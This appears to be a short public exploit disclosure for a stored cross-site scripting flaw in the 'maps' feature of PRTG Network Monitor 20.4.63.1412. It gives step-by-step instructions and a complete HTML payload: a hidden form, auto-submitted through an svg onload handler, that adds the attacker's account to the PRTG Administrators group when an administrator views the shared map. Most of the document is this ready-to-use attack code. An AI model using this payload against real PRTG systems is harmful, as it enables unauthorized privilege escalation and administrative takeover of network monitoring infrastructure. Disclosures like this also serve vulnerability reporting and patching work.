PRTG Network Monitor 20.4.63.1412 – ‘maps’ Stored XSS
Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator. Steps: 1- Login to PRTG system and view source code (currentUserId) 2- Create a map, add an element, double click the element and modify the HTML section 'HTML After' 3- In 'HTML After' add the following code: <form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data"> <input type="hidden" name="name_" value="PRTG Administrators" /> <input type="hidden" name="defaulthome_" value="/welcome.htm" /> <input type="hidden" name="isadgroup" value="0" /> <input type="hidden" name="adusertype_" value="0" /> <input type="hidden" name="aduserack_" value="0" /> <input type="hidden" name="users_" value="1" /> <input type="hidden" name="users_" value="1" /> <input type="hidden" name="users__check" value="<currentUserId>|<YOUR_USERNAME>|" /> <input type="hidden" name="users__check" value="100|PRTG System Administrator|" /> <input type="hidden" name="id" value="200" /> <input type="hidden" name="targeturl" value="/systemsetup.htm?tabid=6" /> <input type="submit" value="Submit request" /> </form> <svg/onload='document.forms[0].submit()'/> 4- Save and share the link with PRTG Administrator. 5- Login with the highest privilege.
